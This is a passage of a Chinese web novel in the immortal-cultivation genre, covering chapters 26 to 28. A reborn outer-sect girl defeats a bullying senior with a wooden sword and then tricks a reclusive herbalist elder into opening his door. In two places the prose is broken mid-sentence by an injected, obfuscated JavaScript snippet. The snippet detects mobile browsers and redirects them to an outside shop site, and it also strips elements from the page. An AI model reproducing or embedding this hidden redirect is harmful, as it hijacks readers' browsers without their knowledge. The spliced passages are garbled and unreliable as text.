“……原来她也与忘川镜有关啊。” 26. 第二十六章 “师姐!” 眼见聆音手臂鲜血淋漓,脸色煞白,翩翩心中一惊,立刻拨开人群冲了过去,扶住摇摇欲坠的聆音。 她迅速撕下自己一截干净的里衣布料,动作麻利地替聆音进行简单的按压止血。 在处理完伤口后,翩翩叹了口气,无奈地看向红依。 就在刚刚,文课结束后的武课,红依向聆音提出了比试。 寻常弟子之间的切磋,本来算不得什么大事。 坏就坏在了红依的意图,显然不是单纯的比试那么简单。 双方刚刚站上比试台,红依便直接挽了个剑花,向聆音刺去。 弟子之间的比试,不能使用灵力,只能用木剑点到为止地进行招式切磋。 可红依不仅破坏规则,自己使用了精钢长剑,而且招招必杀,分明要给聆音好果子吃。 “红依师姐,既然都已经见红了,再打下去也确实没什么意思。还是说……” 翩翩故意停顿了片刻,目光在红依脸上停留片刻,道:“红依师姐想要违反宫规,故意伤害同门呢?” “我违反宫规?”红依仿佛听到了天大的笑话,声音陡然拔高,带着毫不掩饰的嚣张,“睁开你的狗眼看清楚!我爹是戒事长老!执掌的就是宫规律条!你一个刚爬上来的杂役,也配在我面前提宫规?” 她话音未落,竟是右脚猛地一踢剑鞘,左手顺势握住飞起的剑柄,“锃”地一声,那柄未开刃却依旧寒光闪闪的精钢长剑再次出鞘,直指聆音面门。 “新来的就是新来的,连规矩都搞不清楚!” 红依眼神阴狠,“比试——可还没正式结束呢!” 说完,她手腕一抖,竟是真的不顾聆音已然受伤,还要继续进攻。 “红依师姐!” 就在这千钧一发之际,脸色苍白的聆音猛地咬牙,用未受伤的左手艰难地举起自己的剑,“哐当”一声脆响,堪堪架住了红依这毫无道理的一击。 她右臂的伤口因这剧烈的动作再次崩裂,鲜血汩汩涌出,染红了更大片的衣袖,触目惊心。 “红依师姐……” 聆音的声音因为疼痛和失血而微微颤抖,却带着不容置疑的坚决,“我认输!这场比试,可以结束了!” “认输不就好了?早这么识相,何必受这皮肉之苦?” 红依冷哼一声,手腕用力,震开了聆音的剑。 她虽然停止了攻击聆音,但那充满恶意的目光,却如同草从中爬动的毒蛇,牢牢锁定了扶着聆音的翩翩。 红依的真实目标,本就不全在聆音。 聆音性子温和,与世无争,虽然从不加入她的小团体,但也大多避其锋芒,不像眼前这个新来的杂役—— 红依讨厌极了翩翩看人时那种眼神。 那不是杂役弟子惯有的卑微、怯懦或讨好,而是一种深藏在平静下的、仿佛看着小孩子过家家的淡漠,以及一种…… 让她极其不舒服的、看孙女般的慈爱眼神。 不是,我是你谁啊? 这种眼神,让她觉得自己外门一姐的权威受到了挑衅。 “你。” 红依的剑尖,带着不容置疑的命令口吻,再次指向翩翩,一字一顿地道:“过、来、跟、我、比、试。” “哇哦!” “有好戏看了!” “红依师姐这是盯上那个新来的了?” “一个无灵根的杂役对上有修为在身的红依?这不是找死吗?” 场边顿时响起一阵喧哗,有人吹起了轻佻的口哨,看热闹不嫌事大。担忧、好奇、幸灾乐祸…… 各种目光交织在翩翩身上。 “师、师姐!翩翩她才刚来外门,连最基本的剑术都未曾修习过!这、这不合规矩!” 聆音强忍着剧痛,试图将翩翩护在身后。 “我在跟她说话!” 红依厉声打断,眼神如刀刮过聆音,最后落在翩翩脸上,极尽嘲讽,“怎么?杂役上来的,不但是个废材,还是个哑巴?需要别人替你开口说话?” 聆音气得脸色更白,还想争辩。 翩翩却轻轻拍了拍聆音未受伤的肩膀,示意她稍安勿躁。然后,她转向一旁已经看得目瞪口呆、拳头紧握的陈澜,语气平静地吩咐道: “小师弟,你先带聆音师姐去找医师包扎伤口,仔细些,这伤口很深。” 她顿了顿,补充道,“我……随后就到。” 陈澜反应过来,连忙点头,上前小心地扶住聆音:“聆音师姐,我们快走吧!” 听着翩翩这话,红依眉毛一挑,像是听到了什么笑话:“怎么?是真听不懂人话,还是不敢应战?怕了?现在想找个借口溜走?” 她身后的那群跟班立刻开始起哄造势: “应战!应战!应战!” “杂役就是杂役,果然上不得台面!” “不敢打就跪下给红依师姐磕个头认错!” 喧嚣声中,翩翩缓缓抬起头,看向趾高气扬的红依。 她没有愤怒,没有恐惧,脸上甚至慢慢浮现出一个极其古怪的、带着几分瘆人凉意的笑容。 “我听见了,红依师姐。” 她的声音不大,却奇异地穿透了周围的嘈杂,清晰地传入每个人耳中。 “谁说我不应战了?” 她往前走了一步,脱离了聆音和陈澜的身侧,独自面对红依那逼人的气势。 “有这么好的机会,能向师姐请教剑术,”翩翩脸上的笑容加深,眼底却没有任何温度,“我当然是求之不得,想好好……” 她顿了顿,一字一句,清晰地说道: “和、师、姐、切、磋、切、磋。” ————— 比武场地相对空旷,周围的弟子们自发地围成了一个圈,将场地中央留给了对峙的两人。 红依手持精钢长剑,身姿挺拔,红衣似火,眼神倨傲,周身隐隐有灵力波动流转,显然并未完全遵守不动用修为的潜规则。 至少她用灵力增强了自身的速度和力量。 她身后的追随者们大声为她鼓劲助威,气势汹汹。 而另一边的翩翩,则显得格格不入。 她身上穿着略显宽大的青色外门弟子服,没有任何灵力波动,就像一个再普通不过的凡人。 她随手从旁边的武器架上,取下了一柄训练用的、最普通不过的木剑。 木剑粗糙,毫无锋芒。 两人站在一起,对比悬殊得令人绝望。 围观弟子中,除了红依的跟班和纯粹看热闹的,剩下那些对红依平日行径有所不满、或者单纯同情翩翩的弟子,此刻脸上都写满了担忧和不忍。 谁也不相信,一个无灵根、刚入外门、连剑都可能没摸过的废材,能在红依手下走过三招。 这根本不是比试,而是一场单方面的凌虐。 “我就是个没灵根的,这辈子都注定和剑无缘,何必把时间精力花在我身上。” 前世的翩翩被老六沐随风随手扔过来的一柄桃木剑砸中了脑袋。 当时她揉着额头,颇为无奈地抱怨。 沐随风,十大妖星中排行第六,却是个不折不扣的异类。 其他妖星的本命法器,或是诡谲的乐器,或是阴毒的蛊盅,或是霸道的兵刃,千奇百怪。 唯有他,他的法器,是一柄货真价实的…… 剑。 普普通通,平平无奇。 放在修仙界修剑者吐口吐沫,都能淹没一座城。 虽然剑修最多。 器修是剑的奇葩,属实只有眼前一位。 因为想学剑的都去做剑修了,谁有事没事,走条人人唾弃的歪路,还练得是伟光正象征的剑呢。 说来,他的叛逆与不拘常理,远不止这一件事。 沐随风出身于极富盛名的炼丹世家沐家,家族上下都指望他能继承家业,光耀门楣。 可老六不愧是老六,生来就是要给家族一个耳光。 沐随风生来对丹炉药草毫无兴趣,唯独痴迷于剑,嗜剑如命。 他曾跑遍各大宗门,想要拜师学剑,却都因其家族背景和那身与正统格格不入的桀骜之气而被拒之门外。 于是,这个天赋卓绝、家世显赫的好苗子—— 一怒之下,便怒了一下。 他投入了琳琅城这个在正道眼中堪称龙潭虎穴的地方。 也正因为他的法器是剑,与寻常器修迥异,所以他常年潜伏在外,游走于正邪边缘。 “谁说没灵根就不能练剑了?”当时沐随风抱着臂,斜倚在廊柱上,看着揉脑袋的翩翩,笑得肆意又张扬。 “现在就给我把剑拿好。” 想到这里,翩翩握紧了手中那柄粗糙的木剑。 她抬眼,看向对面已经摆开架势、眼神轻蔑的红依。 “出手的时候,先别急着进攻,观察对方的招式,看她是主攻还是主守,是急躁派还是沉稳派。” 沐随风那带着点懒洋洋、却又无比认真的教导声,仿佛就在耳边响起。 翩翩凝神看向红依。 果然, 红依根本没有任何试探的意思。 她眼神一厉,脚下猛地一蹬,身形如同离弦之箭,再次使出了她那标志性的、直取对方面门的凶狠杀招。 剑风呼啸,带着一股蛮横的灵力加持,速度比之前对付聆音时更快。 “如果她是攻,而且是这种不管不顾的猛攻,” 沐随风的声音带着一丝了然,“那就现在——闪!” 几乎在红依动的同时,翩翩的身影也动了。 她没有硬接,也没有后退,而是如同柳絮随风,以一种极其诡异灵动的步法,向侧面轻轻一滑、一旋。 红依那志在必得的一剑,带着凌厉的劲风,几乎是擦着翩翩的衣角刺了过去,落了个空。 而就在红依一剑刺空、身形微微前倾的瞬间—— 翩翩手腕一翻,手中那柄看似笨拙的木剑,如同被赋予了生命,划出一道圆融流畅的弧线,挽出一个漂亮的剑花,剑身带着一股巧劲。 “啪”地一声, 不偏不倚,精准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495799|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拍击在了红依毫无防备的后背肩胛骨上。 虽然木剑无锋,但这一下蕴含的力道和巧劲,依旧让红依向前踉跄了一步。 她的后背传来一阵火辣辣的疼痛和酸麻。 “???” 红依猛地回头,眼中充满了难以置信和暴怒。 她竟然被一个杂役,用木剑打中了? 场边也是一片哗然。 “刚才那一下……好快的反应!” “那身法……有点东西啊!” “巧合吧?肯定是巧合!” 红依又惊又怒,怒叱一声,再次挥剑攻来。 这一次,她不再留手,剑招更加狠辣迅疾,如同狂风骤雨,招招不离翩翩周身要害。 她就不信,翩翩能一直躲下去。 翩翩却如同闲庭信步,在那密集的剑光中穿梭。她的身法极其灵动飘逸,如飞燕穿林。 好似她总能在间不容发之际,以毫厘之差避开红依的攻击。 那木剑在她手中,仿佛不是武器,而是一支引导她舞动的画笔,划出一道道守得滴水不漏的轨迹。 说起这精妙绝伦的身法,还要拜老六沐随风那个强迫症晚期的严师所赐。 当初为了练这保命的身法,她可没少挨揍,直到每一步、每一个转身都达到沐随风那苛刻的完美标准为止。 “那然后呢?总不能对方一直进攻,我一直防守吧?那多憋屈!” “当然不。” 沐随风当时嗤笑一声,走上前,干燥温热的手掌覆盖住她握剑的手,带着她的手臂和木剑一同舞动,感受着那种引而不发、后发先至的韵律。 “面对这种特别喜爱进攻、性子又急又躁的对手,重点在于消耗。” “躲避她的攻势,让她一次次落空,让她急躁,让她心烦意乱,让她气急败坏。” “只要她急了,破绽……自然就来了!” 场中,红依久攻不下,看着翩翩那如同泥鳅般滑不留手的身影,以及那始终平静无波、甚至带着点嘲弄的眼神,心中的怒火和急躁如同野草般疯长。 她可是戒事长老的女儿! 是外门公认的天才! 怎么能被一个杂役废物如此戏耍? “啊啊啊啊,给我倒下!” 红依彻底失去了耐心,体内灵力不顾消耗地狂涌,剑势骤然再快三分,化作一片令人眼花缭乱的剑影,如同铺天盖地的罗网,向着翩翩当头罩下。 这是她压箱底的招式,力求一击必杀,结束这让她颜面尽失的战斗。 然而,就在她全力爆发的那一刹那—— 翩翩一直沉静如水的眼眸中,精光乍现。 “就是现在!她的破绽所在!”沐随风斩钉截铁的声音如同惊雷在脑海中炸响。 动了。 一直处于守势的翩翩,动了。 她不再后退,不再闪避。 手中那柄平平无奇的木剑,如同被注入了灵魂,划出一道简洁、精准、快到极致的直线。 “啪!呲——!” 一声清脆的撞击声,伴随着某种丝线断裂的细微声响。 红依只觉得手腕猛地一麻,一股难以抗拒的巧劲传来,五指不由自主地松开。 “哐当!” 她那柄寒光闪闪的精钢长剑,竟然被翩翩用木剑,直接挑飞了出去,在空中划过一道弧线,远远地掉落在地。 与此同时,她束发的红色发绳,也被那凌厉的剑风余波扫过,应声而断。 一头乌黑的长发瞬间披散下来,遮住了她半边因为惊愕和羞愤而扭曲的脸庞。 全场死寂。 所有人都瞪大了眼睛,张大了嘴巴,如同被施了定身咒一般,难以置信地看着场中那个持木剑而立、青衣飘飘的身影。 红依,外门一姐,戒事长老之女,竟然……被一个无灵根的杂役,用一柄木剑,挑飞了兵器? 还被打散了头发? 这怎么可能? “所以,我一个器修,一个强到别人无法近身的器修,为什么要学这个啊?又费时又费力!” 前世,被沐随风折磨了半个月,累得像条死狗的翩翩,曾发出过灵魂拷问。 沐随风当时用木剑不轻不重地点了点她的脑门,语气带着恨铁不成钢: “错!大错特错!” “正因为你是个器修!一个看似强悍、实则被近身就可能一碰就死的脆皮!跑两步还可能喘三声!” 他挽了一个极其漂亮潇洒的剑花,转身,衣袂飘飞,声音随着风传来,清晰而笃定: “技多不压身!多学一点,总没有坏处。” “你又怎么知道,在未来的某个场合,这看似无用的‘技’,会不会就成为你保命、甚至反败为胜的关键呢?” 他仔细一笑,眨巴眨巴眼。 翩翩看着眼前披头散发、呆若木鸡、脸色已经赤橙黄绿青蓝紫转了个遍的红依,手腕轻轻一抖,木剑在她指尖挽了一个与记忆中沐随风如出一辙的、干净利落的剑花。 “红依师姐,承让。” 27. 第二十七章 人输了就会疯。 尤其是一个死要面子活受罪的小反派。 翩翩看着发丝散落,在仰天哈哈大笑的红依。 不由得开始担心她的精神状态。 不是,这真的没事吗? 她看着红依,红依身边的狗腿子也看着红依,愣是没一个人敢上前。 有个胆小的甚至缩着脖子,用带着哭腔的气音嘟囔:“完、完蛋了……大姐头……大姐头出道至今,同辈切磋可从没输过啊……” 这话像是一根针,扎在了众人紧绷的神经上。 生怕这位向来骄矜要强的大姐头,经此一败,道心受损,当场就走火入魔。 就在这诡异的气氛几乎要凝固时, 谁料,红依笑罢,她的目光重新落回翩翩身上,“是我技不如人!” 她声音响亮,确保周围所有人都能听见,“修为加持,剑上……也动了些不入流的小手段。”她抬手,“就这样,还是输给了你。” 红依认输了。干脆利落。 翩翩握着剑,脸上瞬间写满了震惊和不可置信。 周围的狗腿小弟们脸上也同步出现了同款的震惊和不可置信。 翩翩不可置信的是—— 这是她两辈子加起来, 第一次, 在实打实的近战比试中,打赢了! 虽然仔细想想,她这辈子加上辈子,正经跟她交过手的,满打满算也就两位—— 沐随风和谢不舟。 难不成,她恰巧打输的那二位。 刚刚好一个是修仙界年轻一辈第一,一个是第二? 所以她,翩翩。 以后是不是也能脸不红心不跳地自称一句: 一般一般,修仙界第三? 这边翩翩还沉浸在自己惊人实力的震惊中,那边狗腿小弟们已经快被自家老大这不正常的反应吓哭了。 打输了,依老大以往的性子,不该是嘴硬找补。 或者冷笑着放狠话“下次必取你狗命”吗? 这直接坦荡认输…… 完了完了,老大肯定是精神出了严重的问题! 小弟们左看看右看看,眼神里充满了惶恐和无措。 只见他们那疯了的老大,抬手随意拨开挡在身前的小弟,一步步朝着翩翩走来。 翩翩正打算功成身退,深藏功与名,偷偷溜走,避免后续麻烦,红依却在她身后停住脚步,阴阳怪气地抛来一句: “真可怜啊,你。” 翩翩脚步一顿,猛地回头:“……???” 我赢了,你说我可怜? 你没事吧? 红依却不再看她,转身,背影带着一种近乎潇洒的决绝,径直朝着演武场外走去。 她与那群惶惶不安的小弟们擦肩而过时,声音不大不小,恰好能让近处的人听见,带着明显的疑惑,像是在自言自语地嘟囔: “奇怪……聆音前几天为什么,突然非要挑衅我呢……” 说完这句没头没脑的话,红依忽然回过头,目光越过众人,深深地看了一眼翩翩的背影。 那一眼,似有深意,无声无息地覆上了翩翩方才那点微不足道的欣喜。 ————— 翩翩径直转身离开,青色衣袂在风中划出一道利落的弧线。 她没怎么注意听红依说的话。 就像她从来不会在不值得的人身上浪费半分心神和时间,有那功夫,不如多啃两口陈澜给的烧鸡腿。 腰间那枚刻着外字的玉玦泛起温润绿光,其上浮现出两个微弱的光点,正是聆音与陈澜此刻所在的位置—— 药谷。 药谷? 翩翩眉梢微挑,唇角勾起一抹意味不明的弧度。 倒不是因为这玉宸宫的药谷她有多么熟悉,而是因为她…… 熟悉这药谷如今的主人。 想当初,她从玉宸宫叛逃而出,背上的是背叛宗门,私通邪道的滔天骂名,成了人人得而诛之的灾星荧惑。 但有趣的是,在那后来恶名昭著的十大妖星之中,竟也有一位同样出身玉宸宫、同样背负叛徒之名的神人。 而且好巧不巧, 此人当年在玉宸宫时,地位远比她这个杂役弟子显赫得多,乃是掌管一谷灵植、地位尊崇的药谷长老—— 玉容。 也是后来,妖星之中排行第三,执掌诡异凶煞之器“血骨伞”的—— 玉芊芊。 关于此人的传闻,在民间乃至修真界都流传着诸多版本。 最广为流传的说法是,他那柄看似精致华美、实则煞气冲天的血骨伞,正是他成为器修时献祭的本命之物。 而献祭的材料,据说是他那位早已香消玉殒的爱人的骸骨。 器修与本命法器必须时刻捆在一起。 法器便是器修的姓名。 正如他和爱人以后生生世世,永不分离。 而在更为恋爱脑的版本里。 血骨伞玉芊芊是更名改姓后,广为流传的名字。 这取自玉容之姓“玉”,冠爱人之名“芊芊”。 玉芊芊。 便当做是二人结为了夫妻,名姓相随。 而根据某些八卦的小道消息传闻,玉容当年毅然决然背叛玉宸宫, 其原因,正与他那位早死的爱人息息相关。 故人即将重逢,倒是……有点意思。 翩翩心下思忖,脚下步伐不由加快了几分,朝着药谷的方向行去。 岂料,等她赶到药谷那处清幽僻静的院落外时,看到的却是聆音、陈澜,以及一位面生的女修士,三人齐刷刷地被一道无形的屏障挡在门外。 而她站到门口后,他们四人,四脸面面相觑,场面一度有些尴尬。 翩翩:“……” 她猛地一拍额头,这才恍然想起—— 是了,这时候的玉芊芊,还是那个孤高冷硬、毒舌刻薄、轻易不肯见人,更别提出手医治伤患的药谷长老玉容! 自己方才竟是忘了这茬! “翩翩姐姐!” 陈澜眼尖,最先看到她,立刻从屋檐投下的阴影里蹦了出来,凑到她身边,避开那位陌生女修,悄咪咪地压低声音问道:“打,打赢了吗?” 小家伙脸上还带着点紧张和期待。 翩翩点了点头,给他比了个耶。 一旁的聆音也关切地望来,目光落在她身上,轻声问:“红依可让你受伤了?” “没事,”翩翩语气轻松,“我还砍了她的头绳。” 聆音沉默一瞬,然后默默地,朝着她比了一个清晰的大拇指。 “什么什么?你打过了红依?!” 那位原本还在对着紧闭大门哈气的陌生女修,耳朵倒是尖得很。 她立刻转过头来,一双杏眼瞪得溜圆,冒着星星眼就看向翩翩,语气充满了崇拜,“英雄啊!我可早就看她不爽了!仗着她爹是戒事长老,总是在外门横行霸道!” 这红依到底还做了多少孽? 是个弟子就看她不爽。 女修看起来年纪不大,面容娇俏,穿着一身鹅黄色的内门弟子服饰,笑起来很有亲和力。 她自来熟地凑过来,好奇地问道:“你们是哪里的?为什么来这儿?哦哦,瞧我这破脑袋!” “对了,聆音。你们刚刚在聊天,难道你们……相互认识吗?”女修眨眨眼问聆音。 又又又是聆音的熟人? 翩翩算是发现了。 这一路行来,从山门到执事堂,再到这僻静的客舍,但凡是长了嘴、能说话的,似乎就没有不认得聆音的。 她这位半路结伴的同门,修为深浅尚且看不分明,这好人缘的万人迷剧本,倒是拿得稳稳的。 在这偌大的仙门之中,个人修为道法是一重天地,这盘根错节的人脉关系,只怕是另一重更考验人的修行了。 在这点上,翩翩还要向聆音请教。 被问到的聆音面色仍有些失血后的苍白,闻言只是温和一笑,“师姐,正要为你引见。这位是陈澜师弟,这位是翩翩师妹。” 翩翩依言上前,对着那明艳的女修展颜一笑,执了个平辈礼。 女修也笑着回了礼,只是那笑容刚到眼底,不知忽而想起了什么,秀气的眉头便蹙了起来,腮帮子微微鼓起,竟是带上了几分显而易见的恼意。 “真是的!我们这么多人都在这里候着,连受伤的聆音你都亲自来了,给了他天大的颜面!容容竟还这般拿乔,紧闭门户不肯相见,实在是——太、过、分、啦!” 最后四个字,她几乎是嘎巴嘎巴咬着牙齿,一字一顿地说出来,边说还边气呼呼地凌空挥了挥拳头,仿佛那扇门后之人就在眼前,要给他一点颜色瞧瞧似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495800|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “没关系!我再去叫门!” “正所谓精诚所至,金石为开,我不相信我感动不了容容!” 说罢,女修再次转身,深吸一口气,对着那紧闭的、仿佛隔绝了两个世界的大门,运足中气,高声大喊: “容容——!开门啊,容容——!” “你不见我没关系!但有位同门受了伤,需要你的帮助!” “开门呀——!容容——!” 声音在幽静的山谷间回荡,惊起几只飞鸟。 然而,半晌过去,那扇门依旧纹丝不动,门内连一丝脚步声都未曾传出,仿佛里面根本空无一人。 翩翩:“……” 她默默地看着那女修喊得脸颊泛红,又看了看那岿然不动的大门。 不愧是有名的高岭之花,把除他以外的所有人当做空气。 那女修喊得嗓子都有些哑了,终于悻悻然地停了下来,转过身,对着翩翩三人无奈地叹了口气,脸上带着几分挫败:“不好意思啊……容容他就是这个脾气。看来现在,连我的话……也不管用了。” 她气鼓鼓地跺了跺脚,目光扫过翩翩三人,像是找到了倾诉对象,开始控诉:“你们说,我到底做错了什么?我这么热情,这么活泼,对他这么好,为什么他不但看不上我,还一次次地把我拒之门外呢?” 她那委屈又带着点执着的模样,活脱脱一个情窦初开、却碰了铁壁的少女。 哦,原来是个坚持不懈的纯爱战士。 翩翩心下明了,脑海中立刻浮现出玉芊芊那双看人总是带着三分讥诮、七分冷漠的眸子,以及那张能毒死人不偿命的嘴。 深深叹了口气。 姑娘,听我一句劝,算了吧,你们真的不合适,会被他活活气死的。 再说…… 这人心里,早就有白月光了,执念深重,你挤不进去的。 虽然心里这么想,但翩翩面上还是情商很高地露出了一个理解且认同的表情,顺着她的话点了点头。 “对了,刚刚说了那么久,两位师弟师妹还不知道我的名字呢。” 她大大方方地一扬下巴,笑容明媚:“我叫柯芊芊,是个普普通通的内门弟子。” 什么? 芊芊? 玉芊芊的那个芊芊? 翩翩闻言,眼角几不可查地抽搐了一下。 白月光竟在我眼前??? 这下出于八卦,她下意识地仔细打量了一下柯芊芊,目光落在她梳得俏皮可爱的单侧麻花辫上,出于某种善意,她委婉地提醒道: “芊,芊芊姑娘,” 她斟酌着用词,“下次……要不要考虑换个发型?比如,双丫髻什么的?” 柯芊芊疑惑地眨了眨眼:“为什么?我觉得这样挺好看的呀。” 翩翩面不改色,义正词严地解释:“呃,只是觉得……换个发型,或许可以……长寿。” 接下来,她凑到柯芊芊耳边,压低声音,悄咪咪地说了几句什么。 柯芊芊听完,皱起了秀气的眉头,有些犹豫地小声确认:“这样……能行吗?容容他最讨厌别人骗他了……” 翩翩拍了拍她的肩膀,递给她一个“放心,我有经验”的眼神,自信道:“相信我。” 一旁的陈澜和聆音还以为翩翩终于想出了什么能让玉容长老开门的好点子,都略带期待地看着她们。 岂料下一刻—— “咚”地一声闷响。 柯芊芊竟双眼一闭,直挺挺地倒在了地上,动作干脆利落,甚至提前用手垫了一下后脑勺,显得颇为专业。 紧接着,翩翩脸色骤变,一个箭步上前,半扶起柯芊芊,同时扯开嗓门,用足以惊动半个药谷的凄厉声音大声喊道: “芊芊!芊芊!你怎么了?!怎么突然就吐血——” 她刻意拉长了血字的尾音,营造出情势危急的假象。 “——了”字还没完全出口。 又又又一声巨响。 那扇之前任凭如何呼喊都纹丝不动的木门,竟被人从里面猛地一把拉开。 一道穿着素雅长袍的身影疾步冲了出来,脸上带着一丝未来得及掩饰的惊慌与焦急,目光第一时间就精准地投向了倒在地上的柯芊芊。 哦,是恋爱脑来开门了。 翩翩在旁边好整以暇地抱臂看着,心下默默评价。 28. 第二十八章 “所以,你们几个就这样算计我?” 冰冷得几乎能掉下冰碴子的声音在药庐内响起。 玉容面沉如水,那双漂亮的凤眸里寒光凛冽,正冷冷地盯着此刻正老老实实跪坐在蒲团上,低眉顺眼、双手放在膝盖上,一副我知道错了模样的柯芊芊。 旁边,聆音手臂上的伤已经被玉容黑着脸、动作却异常迅速地处理包扎妥当。 此刻,她、翩翩还有陈澜,三人正排排坐在一旁的矮凳上,饶有兴致地看着眼前这出长老训人的大戏。 不。 更准确地说,是打情骂俏现场。 陈澜偷偷扯了扯翩翩的袖子,小脸上满是担忧,用气音问道:“怎么办呀,翩翩姐姐,玉长老看起来……好像真的很生气……” 翩翩浑不在意地摆了摆手,同样压低声音,语气甚至带着点看热闹的愉悦:“没事儿,小师兄,哈,咱不用管。” 他爹的,要不是为了聆音师姐的伤,谁乐意在这儿看这俩人一个愿打一个愿挨、以吵架的名义行秀恩爱之实? “这样怎么能叫算计呢?” 跪在地上的柯芊芊抬起脸,小声控诉,“我这叫为爱筹谋,这叫情深意重!” “这叫为了爱奋不顾身,勇于牺牲。” 她越说越起劲,如月的眸子瞪着玉容。 “反观你呢,容容。” “你畏畏缩缩,连门都不敢出,面都不和我见。” “为了爱,你难道不愿意在雨夜狂奔吗?” 玉容:“……” 他被这强词夺理噎得一时语塞,向来能言善辩的他,竟罕见地没能立刻反驳回去。 翩翩眼尖,第一次看到玉容这副吃瘪的模样,正觉得有趣,却敏锐地捕捉到,在那位冷面长老的耳廓上,悄然爬上了一抹可疑的红晕。 原来你喜欢这一手? 作为前世某种意义上算是他上司的翩翩,此刻在内心好整以暇地评价着。 就在这时,玉容似乎是为了转移话题,或是为了掩饰那点不自在,冰冷的目光倏地转向了正在看戏的翩翩,语气带着惯有的讥诮: “这么清闲,是对不日到来的善见天很有信心吗?” 善见天? 这是什么东西? 旁边的聆音见状,小声为她解释:“善见天是宗门内外门弟子都需参与的大型考核,三年一开。” 她看着翩翩微笑,不知从哪里飞过来的乌鸦停在她肩头。 “若打个比方……更像是一处即将开放的、用于试炼的秘境?” 陈澜在一旁捂嘴偷笑,幸灾乐祸地补充道:“翩翩姐姐,你不用好奇啦,今年——你也得去哦!” “不对!” “我????” 翩翩难以置信地指了指自己的鼻子。 她一个刚升上外门、连灵力都没有的废材,去参加那种听起来就很麻烦的秘境考核? 呵呵。 她扯了扯嘴角,露出一抹干巴巴的苦笑。 这玉宸宫,是真不打算让她安生啊。 两世身为玉宸宫弟子,翩翩对善见天熟的不能再熟了。 虽然重生前以她的杂役弟子身份,没怎么和善见天亲密接触的机会。 但—— 上辈子的善见天,是被她轰没的。 说起来这还和玉容有…… “咳咳。” “翩翩姐,玉容长老在问你话呢。”陈澜看翩翩显然被即将到来的善见天砸昏了头,开始发愣,于是善意提醒。 “……?” 翩翩一时没什么反应。 她下意识地抬眼,正对上玉容那双清凌凌的、不带什么暖意的眸子。 玉容又重复了一遍,语气平直,却带着洞穿人心的锐利:“刚刚就想问你了。你为什么用一种,将来你可能会死老婆的、那种同情的目光看着我?” 翩翩:“……” 她喉间一哽,万千思绪翻滚,最后只化作了无声的沉默。 她能说什么? 难道说,道友,我是从未来穿越而来的,你V我50上品灵石—— 我助你此世爱情美满,老婆孩子热炕头? 会被当成神经病的吧。 见她依旧不答,玉容那张冰雪雕琢般的脸上,神色更淡了些,他冷着声音,像是陈述一个既定事实:“你知道像你这样的,自以为看透别人命运的人会有什么下场吗?” 他微微停顿,吐字清晰:“会早死。” 翩翩再次沉默。 ……谢谢你啊。 她在心底默默回应。 毕竟她真的早死了。 我怎么不知道这毒舌老三还会预言呢? 她几乎是有些狼狈地移开视线。 目光转向旁边,陈澜和柯芊芊不知为何又掐了起来,你一言我一语,幼稚得像三岁稚童。 旁边的聆音急得不行,一只手还使不上力,却也脸红脖子粗地夹在中间劝架,声音温和,毫无威慑力,反而让那两人吵得更起劲。 这熟悉又陌生的,充满鲜活生气的场景,与她脑海中某个尘封的、喧嚣又温暖的画面猝然重叠。 她不知想到了什么,压抑不住,噗嗤一声笑了出来。 那笑声很轻,带着点无奈,又带着点连她自己都未曾察觉的怀念。 “又是这种目光。”玉容的嘟囔声再次传来,不高,但在翩翩耳中却清晰无比。 翩翩:“?” 她愕然转头。 不是吧,大哥,我可没看你,也没想着你会当寡夫啊! 这次真冤枉! “一种很怀念的目光。”玉容补充道,视线落在她脸上,带着审视。 翩翩倏地低下头,心跳漏了一拍。 笨蛋,笨蛋。 她在心里连骂了两声,不知是骂他敏锐得过分,还是骂自己情绪外露得如此明显。 毕竟,从某种意义上说,他是她重生后遇到的第一个可以称得上故人的家伙。 哪怕此刻的他,对此一无所知。 她吸了口气,再抬头时,脸上已换上一种轻淡的、恰到好处的惆怅,低声答道:“因为……我想家了。” “是全家都没人了,所以只能怀念吗?”玉容的毒舌再次精准发力,毫无怜悯之心。 可是,翩翩偷偷用眼风扫了玉容一眼。 她所想的家,眼前这个嘴欠得想让人给他缝上的家伙,也是其中不可或缺的一员呢。 或许是被这突如其来的情绪攫住,或许是眼前人终究与记忆中的影子重叠,翩翩鬼使神差地开了口,声音带着她自己都未察觉的柔软:“我的家,” 她顿了顿,仿佛在斟酌词句,“是个有着很多很多兄弟姐妹的家。” “那你爹妈很能生了。”玉容客观地评价道,语气听不出是感慨还是别的。 这打断让翩翩差点破功,她勉强维持住那点倾诉欲,继续道:“我的家人……有的活泼跳脱,有的沉稳可靠,还有的……” 她面无表情地看了眼玉容,意有所指:“小嘴跟抹了毒似的,因此经常被追着打,鸡飞狗跳。” “所以,” 她的声音低了下去,带上了一丝真正的迷茫,“有时我在想,他是不是很不喜欢我们,很不喜欢这个家,才会总是那样……格格不入,或者说,用尖刺对着所有人。” “错,大错特错。” 玉容想也没想就反驳,他抱臂站在那里,语气带着一种不容置疑的断然,“我不了解你说的那个,额,嘴欠的。” 他顿了一下,似乎也觉得这形容有点滑稽,但还是继续说了下去,目光投向远处摇曳的树影,声音平静无波:“但我想说,他一定很珍惜你们,所以才在你们面前永远肆无忌惮,因为知道会被纵容吧。外面需要戴着的面具,只有在觉得绝对安全的地方,才敢彻底卸下。毒舌……或许只是他笨拙的亲近方式。” 翩翩愣住了。 